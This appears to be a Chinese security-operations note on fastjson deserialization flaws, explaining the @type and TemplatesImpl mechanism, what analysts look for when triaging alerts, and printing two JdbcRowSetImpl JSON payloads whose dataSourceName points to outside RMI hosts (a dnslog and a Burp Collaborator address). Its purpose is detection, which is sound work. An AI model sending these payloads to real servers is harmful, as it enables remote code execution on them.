fastjson反序列化漏洞

++++fastjson漏洞利用原理++++**

在请求包里面中发送恶意的json格式payload,漏洞在处理json对象的时候,没有对@type 字段进行过滤,从而导致攻击者可以传入恶意的TemplatesImpl类,而这个类有一个字段就是_bytecodes,有部分函数会根据这个_bytecodes生成java实例,这就达到fastjson通 过字段传入一个类,再通过这个类被生成时执行构造函数

++++初研判:++++**

产生这个告警的时候着重查看原始事件里面的payload看是否有json格式的文件或者json的其他字段,或者看响应包里有无json格式或者fastjson,或者是否有_bytecodes 和dnslog关键字。

看是否会出现toJSONString() 和 parseObject() 方法关键字(这俩方法可以将 Java 对象与 JSON 相互转换)

++++告警示例图:++++**

抓包登录界面添加了字符破环原始json数据发现为fastjson

++++fastjson反序列化相关payload++++**

{

"a":{

"@type":"java.lang.Class",

"val":"com.sun.rowset.JdbcRowSetImpl"

},

"b":{

"@type":"com.sun.rowset.JdbcRowSetImpl",

"dataSourceName":"rmi://dnslog.cn/zcc",

"autoCommit":true

}

}

  1. 驱动JdbcRowSetImpl库;
    2、通过设置dataSourceName属性传参给lookup()方法;
    3、通过设置autoCommit属性来触发执行最终的lookup()方法。
    按照上面的例子,就可以构造出:

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://vvui5lzoq6556fmj4al3ighsrjxalz.burpcollaborator.net/Exploit","autoCommit":true}

着重查看标红关键字 rmi.class是Java的类文件,相较来说是恶意的

相关推荐
女神下凡10 小时前
WorkBuddy、TraeWork、QWork 完整区别对比
ide·人工智能·笔记
疯狂打码的少年11 小时前
【软件工程】需求工程:需求规格说明与需求验证
笔记·软件工程
吃着火锅x唱着歌11 小时前
Effective C++ 学习笔记 条款33 避免遮掩继承来的名称
c++·笔记·学习
学计算机的计算基11 小时前
LeetCode 图论四题精讲:BFS、拓扑排序、Trie 树的模板与优化
java·笔记·算法
浩瀚地学11 小时前
【面试算法笔记】0202-链表-基本功能实现
java·经验分享·笔记·算法·面试
你想知道什么?11 小时前
Matplotlib学习笔记
笔记·学习·matplotlib
AOwhisky12 小时前
Linux(CentOS)系统管理入门笔记:第二期核心知识点自测与详解
linux·笔记·centos
AOwhisky21 小时前
Python 学习笔记(第一期与第二期)——基础语法——核心知识点自测与详解
开发语言·笔记·python·学习·云原生·运维开发
泰晶科技1 天前
【前装供应链实操笔记:车规晶振背后AEC-Q100与Q200的绑定关系】
笔记
神明不懂浪漫1 天前
【第四章】CSS(二)——文本外观属性与复合选择器
前端·css·经验分享·笔记